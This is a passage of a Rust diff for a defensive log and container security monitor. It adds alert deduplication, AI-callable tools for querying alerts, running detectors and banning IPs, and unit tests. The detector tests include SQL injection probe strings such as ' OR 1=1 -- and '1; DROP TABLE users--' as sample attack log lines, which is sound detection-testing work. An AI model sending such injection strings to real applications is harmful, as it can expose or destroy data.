= anomaly.suggested_action { + message.push_str(&format!("\nSuggested: {}", action)); + } + let alert = Alert::new(AlertType::AnomalyDetected, alert_severity, message.clone()); + + let dedup_key = dedup_key(anomaly, source); + if self.deduplicator.borrow_mut().is_duplicate_key(&dedup_key) { + log::debug!("Suppressing duplicate alert: {}", anomaly.description); + continue; + } - // Route to appropriate notification channels + if let Some(pool) = pool { + // Record the stable identity (path or container ID), not the + // per-pass UUID in `summary.source_id`, so stored alerts can be + // joined back to `log_sources.path_or_id`. + let mut metadata = AlertMetadata::default() + .with_source( + source + .map(|s| s.path_or_id.clone()) + .unwrap_or_else(|| summary.source_id.clone()), + ) + .with_reason(anomaly.description.clone()); + if let Some(s) = source { + metadata.extra.insert("source_name".into(), s.name.clone()); + metadata + .extra + .insert("source_type".into(), s.source_type.to_string()); + if s.source_type == LogSourceType::DockerContainer { + metadata = metadata.with_container_id(s.path_or_id.clone()); + } + } + if let Some(detector_id) = &anomaly.detector_id { + metadata + .extra + .insert("detector_id".into(), detector_id.clone()); + } + if let Some(detector_family) = &anomaly.detector_family { + metadata + .extra + .insert("detector_family".into(), detector_family.clone()); + } + if let Some(confidence) = anomaly.confidence { + metadata + .extra + .insert("detector_confidence".into(), confidence.to_string()); + } + + create_alert( + pool, + StoredAlert::new(AlertType::AnomalyDetected, alert_severity, message) + .with_metadata(metadata), + ) + .await?; + } + + // Route to appropriate notification channels (respecting minimum severity) + if alert_severity < self.notification_config.minimum_severity() { + continue; + } let channels = self .notification_config .configured_channels_for_severity(alert_severity); @@ -98,7 +169,7 @@ impl Reporter { // Log summary to console log::info!( "📊 Log Summary [{}]: {} entries, {} errors, {} warnings, {} anomalies", - summary.source_id, + source_label, summary.total_entries, summary.error_count, summary.warning_count, @@ -113,6 +184,70 @@ impl Reporter { } } +/// Number of leading words kept from a description signature. +/// +/// AI-written descriptions drift between passes ("accepts connections from any +/// IP" / "allowing connections from any IP"), and the drift lands in the tail of +/// the sentence. Keeping the opening words collapses those variants into one +/// finding while staying specific enough to tell different findings apart. +const SIGNATURE_WORDS: usize = 6; + +/// Reduce a description to a drift-tolerant signature. +fn description_signature(description: &str) -> String { + description + .split(|ch: char| !ch.is_alphanumeric()) + .filter(|word| !word.is_empty()) + .take(SIGNATURE_WORDS) + .map(|word| word.to_lowercase()) + .collect::>() + .join("-") +} + +/// Build the key that decides whether a finding is a repeat. +/// +/// Severity is deliberately excluded: the same finding can come back scored +/// differently by the model, and that alone should not re-alert. Detector-backed +/// findings key on their stable `detector_id`; AI-written ones fall back to a +/// signature of the description. +/// +/// Findings with no log source come from scans (files, packages, containers), +/// where one pass reports several distinct things under one detector. Their +/// `sample_line` names the thing (`host:/var/www/x.php`, `shop image +/// PHP_VERSION 8.3.30`), so it joins the key. Log findings keep the detector +/// id alone: their sample is a raw line with a timestamp. +fn dedup_key(anomaly: &crate::sniff::analyzer::LogAnomaly, source: Option<&LogSource>) -> String { + let finding = match (&anomaly.detector_id, source) { + (Some(detector_id), Some(_)) => detector_id.clone(), + (Some(detector_id), None) => format!("{}:{}", detector_id, anomaly.sample_line), + (None, _) => description_signature(&anomaly.description), + }; + let source_key = source + .map(|source| source.path_or_id.as_str()) + .unwrap_or("unknown-source"); + + format!("AnomalyDetected:{}:{}", source_key, finding) +} + +/// Render a log source as something a human can act on: a container name, or a +/// file path. Falls back to the raw summary source id when no source is known. +fn describe_source(summary_source_id: &str, source: Option<&LogSource>) -> String { + match source { + Some(source) => match source.source_type { + LogSourceType::DockerContainer => { + // Discovery names Docker sources "docker:"; the prefix is + // redundant once the label already says "container". + let name = source.name.strip_prefix("docker:").unwrap_or(&source.name); + let short_id: String = source.path_or_id.chars().take(12).collect(); + format!("container {} [{}]", name, short_id) + } + LogSourceType::SystemLog | LogSourceType::CustomFile => { + format!("file {}", source.path_or_id) + } + }, + None => summary_source_id.to_string(), + } +} + /// Result of a report operation #[derive(Debug, Clone, Default)] pub struct ReportResult { @@ -125,6 +260,7 @@ pub struct ReportResult { mod tests { use super::*; use crate::database::connection::{create_pool, init_database}; + use crate::database::repositories::{list_alerts, AlertFilter}; use crate::sniff::analyzer::LogAnomaly; use chrono::Utc; @@ -164,9 +300,9 @@ mod tests { #[tokio::test] async fn test_report_no_anomalies() { - let reporter = Reporter::new(NotificationConfig::default()); + let reporter = Reporter::new(NotificationConfig::default(), 300); let summary = make_summary(vec![]); - let result = reporter.report(&summary, None).await.unwrap(); + let result = reporter.report(&summary, None, None).await.unwrap(); assert_eq!(result.anomalies_reported, 0); assert_eq!(result.notifications_sent, 0); assert!(!result.summary_persisted); @@ -174,14 +310,18 @@ mod tests { #[tokio::test] async fn test_report_with_anomalies_sends_alerts() { - let reporter = Reporter::new(NotificationConfig::default()); + let reporter = Reporter::new(NotificationConfig::default(), 300); let summary = make_summary(vec![LogAnomaly { description: "High error rate".into(), severity: AnomalySeverity::High, sample_line: "ERROR: connection failed".into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, }]); - let result = reporter.report(&summary, None).await.unwrap(); + let result = reporter.report(&summary, None, None).await.unwrap(); assert_eq!(result.anomalies_reported, 1); assert_eq!(result.notifications_sent, 1); } @@ -191,10 +331,10 @@ mod tests { let pool = create_pool(":memory:").unwrap(); init_database(&pool).unwrap(); - let reporter = Reporter::new(NotificationConfig::default()); + let reporter = Reporter::new(NotificationConfig::default(), 300); let summary = make_summary(vec![]); - let result = reporter.report(&summary, Some(&pool)).await.unwrap(); + let result = reporter.report(&summary, Some(&pool), None).await.unwrap(); assert!(result.summary_persisted); // Verify summary was stored @@ -203,23 +343,307 @@ mod tests { assert_eq!(summaries[0].total_entries, 100); } + #[tokio::test] + async fn test_report_persists_detector_metadata_in_alerts() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + + let reporter = Reporter::new(NotificationConfig::default(), 300); + let summary = make_summary(vec![LogAnomaly { + description: "Potential SQL injection probing detected".into(), + severity: AnomalySeverity::High, + sample_line: "GET /search?q=UNION%20SELECT".into(), + detector_id: Some("web.sqli-probe".into()), + detector_family: Some("Web".into()), + confidence: Some(84), + suggested_action: None, + }]); + + reporter.report(&summary, Some(&pool), None).await.unwrap(); + + let alerts = list_alerts(&pool, AlertFilter::default()).await.unwrap(); + assert_eq!(alerts.len(), 1); + let metadata = alerts[0].metadata.as_ref().unwrap(); + assert_eq!(metadata.source.as_deref(), Some("test-source")); + assert_eq!( + metadata.extra.get("detector_id").map(String::as_str), + Some("web.sqli-probe") + ); + assert_eq!( + metadata.extra.get("detector_family").map(String::as_str), + Some("Web") + ); + } + + #[test] + fn test_describe_source_renders_container_and_file() { + let container = LogSource::new( + LogSourceType::DockerContainer, + "a6f2ec2d90294889".into(), + "mailer".into(), + ); + assert_eq!( + describe_source("ignored", Some(&container)), + "container mailer [a6f2ec2d9029]" + ); + + let file = LogSource::new( + LogSourceType::SystemLog, + "/var/log/syslog".into(), + "syslog".into(), + ); + assert_eq!( + describe_source("ignored", Some(&file)), + "file /var/log/syslog" + ); + + assert_eq!(describe_source("file-integrity", None), "file-integrity"); + } + + fn version_finding(owner: &str) -> LogAnomaly { + LogAnomaly { + description: format!("PHP 8.3.30 on {} is exposed to PHP2Shell", owner), + severity: AnomalySeverity::Critical, + sample_line: format!("{} image PHP_VERSION 8.3.30", owner), + detector_id: Some("vuln.php2shell".into()), + detector_family: Some("Vulnerability".into()), + confidence: Some(95), + suggested_action: None, + } + } + + #[tokio::test] + async fn test_scan_findings_for_different_things_each_alert_once() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let reporter = Reporter::new(NotificationConfig::default(), 300); + + // A scan batch has no log source: three installs, three alerts. + let summary = make_summary(vec![ + version_finding("host"), + version_finding("blog"), + version_finding("shop"), + ]); + reporter.report(&summary, Some(&pool), None).await.unwrap(); + assert_eq!( + list_alerts(&pool, AlertFilter::default()) + .await + .unwrap() + .len(), + 3 + ); + + // The next pass finds the same three: nothing new. + reporter.report(&summary, Some(&pool), None).await.unwrap(); + assert_eq!( + list_alerts(&pool, AlertFilter::default()) + .await + .unwrap() + .len(), + 3 + ); + } + + #[test] + fn test_log_findings_ignore_the_sample_line() { + let source = LogSource::new( + LogSourceType::SystemLog, + "/var/log/nginx/access.log".into(), + "access.log".into(), + ); + let first = LogAnomaly { + description: "Potential SQL injection probing detected".into(), + severity: AnomalySeverity::High, + sample_line: "10:00:01 GET /search?q=UNION%20SELECT".into(), + detector_id: Some("web.sqli-probe".into()), + detector_family: None, + confidence: None, + suggested_action: None, + }; + let next = LogAnomaly { + sample_line: "10:00:31 GET /search?q=UNION%20SELECT".into(), + ..first.clone() + }; + assert_eq!( + dedup_key(&first, Some(&source)), + dedup_key(&next, Some(&source)) + ); + } + + #[test] + fn test_dedup_key_survives_ai_wording_drift() { + let source = LogSource::new( + LogSourceType::DockerContainer, + "0f3b46ca0c16".into(), + "docker:redis".into(), + ); + let variants = [ + "Redis is not protected by authentication and accepts connections from any IP.", + "Redis is not protected by authentication and accepts connections from any IP address.", + "Redis is not protected by authentication, allowing connections from any IP.", + ]; + + let keys: Vec = variants + .iter() + .map(|description| { + dedup_key( + &LogAnomaly { + description: (*description).into(), + severity: AnomalySeverity::Critical, + sample_line: "WARNING: Redis does not require authentication".into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, + }, + Some(&source), + ) + }) + .collect(); + + assert_eq!(keys[0], keys[1]); + assert_eq!(keys[0], keys[2]); + } + + #[test] + fn test_dedup_key_separates_sources_and_findings() { + let redis = LogSource::new( + LogSourceType::DockerContainer, + "0f3b46ca0c16".into(), + "docker:redis".into(), + ); + let nginx = LogSource::new( + LogSourceType::DockerContainer, + "e7a476df6c31".into(), + "docker:nginx".into(), + ); + let anomaly = LogAnomaly { + description: "Redis is not protected by authentication and accepts connections".into(), + severity: AnomalySeverity::Critical, + sample_line: "WARNING".into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, + }; + + // Same finding, different containers: both deserve their own alert. + assert_ne!( + dedup_key(&anomaly, Some(&redis)), + dedup_key(&anomaly, Some(&nginx)) + ); + + // Different findings on one container stay distinct. + let other = LogAnomaly { + description: "Multiple instances of EmptyEmailBodyError for different users".into(), + ..anomaly.clone() + }; + assert_ne!( + dedup_key(&anomaly, Some(&redis)), + dedup_key(&other, Some(&redis)) + ); + } + + #[test] + fn test_dedup_key_prefers_detector_id() { + let source = LogSource::new( + LogSourceType::DockerContainer, + "0f3b46ca0c16".into(), + "docker:web".into(), + ); + let key = dedup_key( + &LogAnomaly { + description: "wording that changes every pass".into(), + severity: AnomalySeverity::High, + sample_line: "GET /?q=UNION SELECT".into(), + detector_id: Some("web.sqli-probe".into()), + detector_family: Some("Web".into()), + confidence: Some(84), + suggested_action: None, + }, + Some(&source), + ); + assert_eq!(key, "AnomalyDetected:0f3b46ca0c16:web.sqli-probe"); + } + + #[test] + fn test_describe_source_strips_docker_prefix() { + let source = LogSource::new( + LogSourceType::DockerContainer, + "a70b8c987795abc".into(), + "docker:try".into(), + ); + assert_eq!( + describe_source("ignored", Some(&source)), + "container try [a70b8c987795]" + ); + } + + #[tokio::test] + async fn test_report_records_stable_source_identity() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + + let source = LogSource::new( + LogSourceType::DockerContainer, + "a6f2ec2d90294889".into(), + "mailer".into(), + ); + let reporter = Reporter::new(NotificationConfig::default(), 300); + let summary = make_summary(vec![LogAnomaly { + description: "Multiple instances of EmptyEmailBodyError".into(), + severity: AnomalySeverity::Critical, + sample_line: "ERROR EmptyEmailBodyError".into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, + }]); + + reporter + .report(&summary, Some(&pool), Some(&source)) + .await + .unwrap(); + + let alerts = list_alerts(&pool, AlertFilter::default()).await.unwrap(); + assert_eq!(alerts.len(), 1); + assert!(alerts[0] + .message + .contains("container mailer [a6f2ec2d9029]")); + let metadata = alerts[0].metadata.as_ref().unwrap(); + assert_eq!(metadata.source.as_deref(), Some("a6f2ec2d90294889")); + assert_eq!(metadata.container_id.as_deref(), Some("a6f2ec2d90294889")); + assert_eq!( + metadata.extra.get("source_name").map(String::as_str), + Some("mailer") + ); + } + #[tokio::test] async fn test_report_multiple_anomalies() { - let reporter = Reporter::new(NotificationConfig::default()); + let reporter = Reporter::new(NotificationConfig::default(), 300); let summary = make_summary(vec![ LogAnomaly { description: "Error spike".into(), severity: AnomalySeverity::Critical, sample_line: "FATAL: OOM".into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, }, LogAnomaly { description: "Unusual pattern".into(), severity: AnomalySeverity::Low, sample_line: "DEBUG: retry".into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, }, ]); - let result = reporter.report(&summary, None).await.unwrap(); + let result = reporter.report(&summary, None, None).await.unwrap(); assert_eq!(result.anomalies_reported, 2); assert_eq!(result.notifications_sent, 2); } @@ -227,10 +651,10 @@ mod tests { #[tokio::test] async fn test_reporter_new() { let config = NotificationConfig::default(); - let reporter = Reporter::new(config); + let reporter = Reporter::new(config, 300); // Just ensure it constructs without error let summary = make_summary(vec![]); - let result = reporter.report(&summary, None).await; + let result = reporter.report(&summary, None, None).await; assert!(result.is_ok()); } @@ -238,14 +662,19 @@ mod tests { async fn test_report_does_not_count_delivery_failures_as_sent() { let reporter = Reporter::new( NotificationConfig::default().with_slack_webhook("http://127.0.0.1:1".into()), + 300, ); let summary = make_summary(vec![LogAnomaly { description: "High error rate".into(), severity: AnomalySeverity::High, sample_line: "ERROR: connection failed".into(), + detector_id: None, + detector_family: None, + confidence: None, + suggested_action: None, }]); - let result = reporter.report(&summary, None).await.unwrap(); + let result = reporter.report(&summary, None, None).await.unwrap(); assert_eq!(result.anomalies_reported, 1); assert_eq!(result.notifications_sent, 1); } diff --git a/src/tools/alerts.rs b/src/tools/alerts.rs new file mode 100644 index 0000000..369dad3 --- /dev/null +++ b/src/tools/alerts.rs @@ -0,0 +1,135 @@ +//! Alert tools — query recent alerts and stats + +use crate::database::connection::DbPool; +use crate::database::repositories::alerts::{list_alerts, AlertFilter}; + +use super::types::{tool_def, ToolDef, ToolResult}; + +pub fn definitions() -> Vec { + vec![tool_def( + "recent_alerts", + "Get recent security alerts. Use to check if an issue has already been reported before creating a new alert.", + serde_json::json!({ + "type": "object", + "properties": { + "limit": { + "type": "integer", + "description": "Max alerts to return (default 10)" + }, + "severity": { + "type": "string", + "enum": ["Critical", "High", "Medium", "Low", "Info"], + "description": "Filter by severity (optional)" + } + }, + }), + )] +} + +pub async fn execute_recent_alerts(pool: &DbPool, args: &str) -> ToolResult { + let (limit, severity) = match serde_json::from_str::(args) { + Ok(v) => { + let limit = v["limit"].as_u64().unwrap_or(10) as usize; + let severity = v["severity"].as_str().map(String::from); + (limit, severity) + } + Err(e) => return ToolResult::error("recent_alerts", &format!("Invalid args: {}", e)), + }; + + let filter = AlertFilter { + severity, + status: None, + }; + + let alerts = match list_alerts(pool, filter).await { + Ok(a) => a, + Err(e) => return ToolResult::error("recent_alerts", &format!("DB error: {}", e)), + }; + + let recent: Vec = alerts + .into_iter() + .take(limit) + .map(|a| { + serde_json::json!({ + "id": a.id, + "alert_type": a.alert_type.to_string(), + "severity": a.severity.to_string(), + "status": a.status.to_string(), + "message": a.message, + "timestamp": a.timestamp, + }) + }) + .collect(); + + ToolResult::success( + "recent_alerts", + serde_json::json!({ "alerts": recent, "count": recent.len() }), + ) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::alerting::alert::{AlertSeverity, AlertType}; + use crate::database::connection::{create_pool, init_database}; + use crate::database::models::Alert; + use crate::database::repositories::alerts::create_alert; + + #[actix_rt::test] + async fn test_recent_alerts_returns_empty_when_no_alerts() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + + let result = execute_recent_alerts(&pool, r#"{"limit": 5}"#).await; + assert!(result.content.contains("[]")); + assert!(result.content.contains(r#""count":0"#)); + } + + #[actix_rt::test] + async fn test_recent_alerts_returns_created_alerts() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + + create_alert( + &pool, + Alert::new( + AlertType::AnomalyDetected, + AlertSeverity::Critical, + "Test alert", + ), + ) + .await + .unwrap(); + + let result = execute_recent_alerts(&pool, r#"{"limit": 5}"#).await; + assert!(result.content.contains("Test alert")); + assert!(result.content.contains(r#""count":1"#)); + } + + #[actix_rt::test] + async fn test_recent_alerts_filters_by_severity() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + + create_alert( + &pool, + Alert::new( + AlertType::AnomalyDetected, + AlertSeverity::Critical, + "Critical alert", + ), + ) + .await + .unwrap(); + create_alert( + &pool, + Alert::new(AlertType::AnomalyDetected, AlertSeverity::Low, "Low alert"), + ) + .await + .unwrap(); + + let result = execute_recent_alerts(&pool, r#"{"severity": "Critical"}"#).await; + assert!(result.content.contains("Critical alert")); + assert!(!result.content.contains("Low alert")); + } +} diff --git a/src/tools/detectors.rs b/src/tools/detectors.rs new file mode 100644 index 0000000..ff11754 --- /dev/null +++ b/src/tools/detectors.rs @@ -0,0 +1,107 @@ +//! Detector tools — re-run built-in detectors on demand + +use crate::detectors::DetectorRegistry; +use crate::sniff::reader::LogEntry; +use crate::tools::types::{tool_def, ToolDef, ToolResult}; +use chrono::Utc; + +pub fn definitions() -> Vec { + vec![tool_def( + "run_detectors", + "Run built-in security detectors on a set of log lines. Use to validate findings or check if specific lines match known attack patterns.", + serde_json::json!({ + "type": "object", + "properties": { + "lines": { + "type": "array", + "items": { "type": "string" }, + "description": "Log lines to analyze" + } + }, + "required": ["lines"] + }), + )] +} + +pub fn execute_run_detectors(detectors: &DetectorRegistry, args: &str) -> ToolResult { + let lines: Vec = match serde_json::from_str::(args) { + Ok(v) => match v["lines"].as_array() { + Some(arr) => arr + .iter() + .filter_map(|l| l.as_str().map(String::from)) + .collect(), + None => return ToolResult::error("run_detectors", "Missing 'lines' array"), + }, + Err(e) => return ToolResult::error("run_detectors", &format!("Invalid args: {}", e)), + }; + + if lines.is_empty() { + return ToolResult::success("run_detectors", serde_json::json!({ "findings": [] })); + } + + let entries: Vec = lines + .into_iter() + .map(|line| LogEntry { + source_id: "tool-input".into(), + timestamp: Utc::now(), + line, + metadata: Default::default(), + }) + .collect(); + + let anomalies = detectors.detect_log_anomalies(&entries); + + let findings: Vec = anomalies + .into_iter() + .map(|a| { + serde_json::json!({ + "detector_id": a.detector_id, + "description": a.description, + "severity": format!("{}", a.severity), + "sample_line": a.sample_line, + }) + }) + .collect(); + + ToolResult::success( + "run_detectors", + serde_json::json!({ "findings": findings, "count": findings.len() }), + ) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_run_detectors_with_attack_lines() { + let detectors = DetectorRegistry::default(); + let args = r#"{"lines": [ + "GET /search?q=' OR 1=1 -- HTTP/1.1", + "GET /search?q=UNION SELECT * FROM users-- HTTP/1.1", + "GET /search?q=1; DROP TABLE users-- HTTP/1.1" + ]}"#; + + let result = execute_run_detectors(&detectors, args); + assert!(result.content.contains("sqli-probe")); + } + + #[test] + fn test_run_detectors_with_clean_lines() { + let detectors = DetectorRegistry::default(); + let args = r#"{"lines": [ + "GET /index.html HTTP/1.1 200", + "GET /about HTTP/1.1 200" + ]}"#; + + let result = execute_run_detectors(&detectors, args); + assert!(result.content.contains(r#""count":0"#)); + } + + #[test] + fn test_run_detectors_empty_lines() { + let detectors = DetectorRegistry::default(); + let result = execute_run_detectors(&detectors, r#"{"lines": []}"#); + assert!(result.content.contains("findings")); + } +} diff --git a/src/tools/docker.rs b/src/tools/docker.rs new file mode 100644 index 0000000..0748b91 --- /dev/null +++ b/src/tools/docker.rs @@ -0,0 +1,142 @@ +//! Docker tools — list containers and inspect posture + +use crate::detectors::audits::ContainerPosture; +use crate::tools::types::{tool_def, ToolDef, ToolResult}; + +pub fn definitions() -> Vec { + vec![ + tool_def( + "list_containers", + "List all running containers with their security posture. Use to understand the environment before analyzing alerts.", + serde_json::json!({ + "type": "object", + "properties": {}, + }), + ), + tool_def( + "get_container_posture", + "Get detailed security posture for a specific container: privileged mode, network mode, capabilities, mounts.", + serde_json::json!({ + "type": "object", + "properties": { + "container_name": { + "type": "string", + "description": "Name or ID of the container" + } + }, + "required": ["container_name"] + }), + ), + ] +} + +/// Execute list_containers using pre-fetched postures (avoids async Docker connection) +pub fn execute_list_containers(postures: &[ContainerPosture]) -> ToolResult { + let containers: Vec = postures + .iter() + .map(|p| { + serde_json::json!({ + "name": p.name, + "image": p.image, + "privileged": p.privileged, + "network_mode": p.network_mode, + "pid_mode": p.pid_mode, + "cap_add": p.cap_add, + "has_docker_socket": p.mounts.iter().any(|m: &String| m.contains("/var/run/docker.sock")), + }) + }) + .collect(); + + ToolResult::success( + "list_containers", + serde_json::json!({ "containers": containers }), + ) +} + +/// Execute get_container_posture using pre-fetched postures +pub fn execute_get_container_posture(postures: &[ContainerPosture], args: &str) -> ToolResult { + let name = match serde_json::from_str::(args) { + Ok(v) => v["container_name"].as_str().unwrap_or("").to_string(), + Err(e) => { + return ToolResult::error("get_container_posture", &format!("Invalid args: {}", e)) + } + }; + + match postures + .iter() + .find(|p| p.name == name || p.container_id == name) + { + Some(p) => ToolResult::success( + "get_container_posture", + serde_json::json!({ + "name": p.name, + "image": p.image, + "container_id": p.container_id, + "privileged": p.privileged, + "network_mode": p.network_mode, + "pid_mode": p.pid_mode, + "cap_add": p.cap_add, + "mounts": p.mounts, + }), + ), + None => ToolResult::error( + "get_container_posture", + &format!("Container '{}' not found", name), + ), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn sample_postures() -> Vec { + vec![ + ContainerPosture { + container_id: "abc123".into(), + name: "nginx".into(), + image: "nginx:latest".into(), + privileged: false, + network_mode: Some("bridge".into()), + pid_mode: None, + cap_add: vec![], + mounts: vec![], + }, + ContainerPosture { + container_id: "def456".into(), + name: "redis".into(), + image: "redis:7".into(), + privileged: false, + network_mode: Some("host".into()), + pid_mode: None, + cap_add: vec![], + mounts: vec!["/var/run/docker.sock:/var/run/docker.sock:rw".into()], + }, + ] + } + + #[test] + fn test_list_containers_returns_all() { + let postures = sample_postures(); + let result = execute_list_containers(&postures); + assert!(result.content.contains("nginx")); + assert!(result.content.contains("redis")); + assert!(result.content.contains("docker_socket")); + } + + #[test] + fn test_get_container_posture_found() { + let postures = sample_postures(); + let result = execute_get_container_posture(&postures, r#"{"container_name": "redis"}"#); + assert!(result.content.contains("host")); + assert!(result.content.contains("docker.sock")); + } + + #[test] + fn test_get_container_posture_not_found() { + let postures = sample_postures(); + let result = execute_get_container_posture(&postures, r#"{"container_name": "ghost"}"#); + assert!(result.content.contains("error")); + assert!(result.content.contains("not found")); + } +} diff --git a/src/tools/ip_ban.rs b/src/tools/ip_ban.rs new file mode 100644 index 0000000..3f6b322 --- /dev/null +++ b/src/tools/ip_ban.rs @@ -0,0 +1,412 @@ +//! IP ban tools — check status, ban, and release IPs + +use chrono::{Duration, Utc}; +use serde::Deserialize; + +use crate::database::connection::DbPool; +use crate::database::repositories::offenses::{active_block_for_ip, recent_offenses_for_ip}; +use crate::ip_ban::{BanOutcome, IpBanConfig, IpBanEngine, LocalIpContext}; + +use super::types::{tool_def, ToolDef, ToolResult}; + +pub fn definitions() -> Vec { + vec![ + tool_def( + "check_ip_status", + "Check if an IP address is currently banned and its offense history. Use this before alerting to avoid re-reporting known threats.", + serde_json::json!({ + "type": "object", + "properties": { + "ip_address": { + "type": "string", + "description": "IPv4 address to check" + } + }, + "required": ["ip_address"] + }), + ), + tool_def( + "ban_ip", + "Ban an IP address for a specified duration. Use ONLY when a confirmed attack is in the evidence: SQL injection, path traversal, brute force, webshell, SSRF, credential stuffing, exploit attempts. Port scans, repeated connection attempts, and other background noise are alert-only — report them, do not ban. Only plain public IPv4 addresses can be banned: private, local, and allowlisted addresses are refused because blocking them takes the service down.", + serde_json::json!({ + "type": "object", + "properties": { + "ip_address": { + "type": "string", + "description": "IPv4 address to ban" + }, + "reason": { + "type": "string", + "description": "Why this IP is being banned" + }, + "duration_secs": { + "type": "integer", + "description": "Ban duration in seconds (default 1800 = 30 minutes)" + } + }, + "required": ["ip_address", "reason"] + }), + ), + tool_def( + "unban_ip", + "Release a ban early and remove the firewall rules for an IP address. Use when an address was banned by mistake or the ban is no longer justified.", + serde_json::json!({ + "type": "object", + "properties": { + "ip_address": { + "type": "string", + "description": "IPv4 address to release" + } + }, + "required": ["ip_address"] + }), + ), + ] +} + +#[derive(Deserialize)] +struct CheckIpArgs { + ip_address: String, +} + +#[derive(Deserialize)] +struct BanIpArgs { + ip_address: String, + reason: String, + duration_secs: Option, +} + +pub fn execute_check_ip_status(pool: &DbPool, args: &str) -> ToolResult { + let args: CheckIpArgs = match serde_json::from_str(args) { + Ok(a) => a, + Err(e) => return ToolResult::error("check_ip_status", &format!("Invalid args: {}", e)), + }; + + let ip = &args.ip_address; + + let blocked = active_block_for_ip(pool, ip).ok().flatten().map(|r| { + serde_json::json!({ + "blocked_until": r.blocked_until, + "reason": r.reason, + }) + }); + + // Every source type, not just "sniff": the ban check above spans them all, + // so narrowing here could report a banned address with no offenses. + let offenses = + recent_offenses_for_ip(pool, ip, Utc::now() - Duration::hours(24)).unwrap_or_default(); + // The tally lives in offense_count; one row is one (ip, source_type) pair, + // not one detection. + let offense_count_24h: u32 = offenses.iter().map(|offense| offense.offense_count).sum(); + + let result = serde_json::json!({ + "ip_address": ip, + "banned": blocked.is_some(), + "blocked_until": blocked.as_ref().and_then(|b| b.get("blocked_until").and_then(|v| v.as_str())), + "offense_count_24h": offense_count_24h, + "last_offense": offenses.first().map(|o| serde_json::json!({ + "reason": o.reason, + "time": o.last_seen, + "status": format!("{:?}", o.status), + })), + }); + + ToolResult::success("check_ip_status", result) +} + +pub async fn execute_ban_ip(pool: &DbPool, config: &IpBanConfig, args: &str) -> ToolResult { + let args: BanIpArgs = match serde_json::from_str(args) { + Ok(a) => a, + Err(e) => return ToolResult::error("ban_ip", &format!("Invalid args: {}", e)), + }; + + let engine = IpBanEngine::new(pool.clone(), config.clone()) + .with_local_context(LocalIpContext::discover_local()); + + // Through the engine: the same gate that stops the sniff path from banning + // infrastructure stops a tool call. A raw mark_blocked here used to accept + // any string, CIDR ranges included. + let outcome = match engine + .ban_now( + &args.ip_address, + &args.reason, + "ai-tool", + args.duration_secs, + ) + .await + { + Ok(outcome) => outcome, + Err(e) => return ToolResult::error("ban_ip", &format!("Failed to ban IP: {}", e)), + }; + + match outcome { + BanOutcome::Refused(refusal) => ToolResult::error( + "ban_ip", + &format!("Refused to ban {}: {}", args.ip_address, refusal.reason()), + ), + BanOutcome::AlreadyBanned => ToolResult::success( + "ban_ip", + serde_json::json!({ + "success": true, + "ip_address": args.ip_address, + "already_banned": true, + }), + ), + BanOutcome::Banned { blocked_until } => { + log::info!( + "IP {} banned via AI tool until {}", + args.ip_address, + blocked_until + ); + + let duration = args.duration_secs.unwrap_or(config.ban_time_secs); + let cli_cmd = format!( + "stackdog ban-ip {} --duration {}s --reason \"{}\"", + args.ip_address, duration, args.reason + ); + + ToolResult::success( + "ban_ip", + serde_json::json!({ + "success": true, + "ip_address": args.ip_address, + "blocked_until": blocked_until.to_rfc3339(), + "duration_secs": duration, + "cli_command": cli_cmd, + }), + ) + } + } +} + +#[derive(Deserialize)] +struct UnbanIpArgs { + ip_address: String, +} + +pub async fn execute_unban_ip(pool: &DbPool, config: &IpBanConfig, args: &str) -> ToolResult { + let args: UnbanIpArgs = match serde_json::from_str(args) { + Ok(a) => a, + Err(e) => return ToolResult::error("unban_ip", &format!("Invalid args: {}", e)), + }; + + let engine = IpBanEngine::new(pool.clone(), config.clone()) + .with_local_context(LocalIpContext::discover_local()); + + match engine.unban_ip(&args.ip_address).await { + Ok(true) => ToolResult::success( + "unban_ip", + serde_json::json!({ + "success": true, + "ip_address": args.ip_address, + "released": true, + }), + ), + Ok(false) => ToolResult::success( + "unban_ip", + serde_json::json!({ + "success": true, + "ip_address": args.ip_address, + "released": false, + "note": "no active ban for this address", + }), + ), + Err(e) => ToolResult::error("unban_ip", &format!("Failed to release ban: {}", e)), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::database::connection::{create_pool, init_database}; + use crate::database::repositories::offenses::{record_offense_occurrence, NewIpOffense}; + + #[cfg(target_os = "linux")] + fn running_as_root() -> bool { + std::process::Command::new("id") + .arg("-u") + .output() + .ok() + .and_then(|output| String::from_utf8(output.stdout).ok()) + .map(|stdout| stdout.trim() == "0") + .unwrap_or(false) + } + + #[test] + fn test_check_ip_status_returns_not_banned_for_unknown_ip() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + + let result = execute_check_ip_status(&pool, r#"{"ip_address": "1.2.3.4"}"#); + assert!(result.content.contains("false")); + assert!(result.content.contains("1.2.3.4")); + } + + #[test] + fn test_check_ip_status_reports_the_tally_not_the_row_count() { + let pool = create_pool(":memory:").unwrap(); + init_database(&pool).unwrap(); + let window_start = Utc::now() - Duration::hours(24); + + // Seven detections from the sniffer plus one from the AI tool live in + // two rows; the model must be told eight, not two. + for _ in 0..7 { + record_offense_occurrence( + &pool, + &NewIpOffense { + id: uuid::Uuid::new_v4().to_string(), + ip_address: "9.9.9.9".into(), + source_type: "sniff".into(), + container_id: None, + first_seen: Utc::now(), + reason: "ssh".into(), + metadata: None, + }, + window_start, + ) + .unwrap(); + } + record_offense_occurrence( + &pool, + &NewIpOffense { + id: uuid::Uuid::new_v4().to_string(), + ip_address: "9.9.9.9".into(), + source_type: "ai-tool".into(), + container_id: None, + first_seen: Utc::now(), + reason: "manual".into(), + metadata: None, + }, + window_start, + ) + 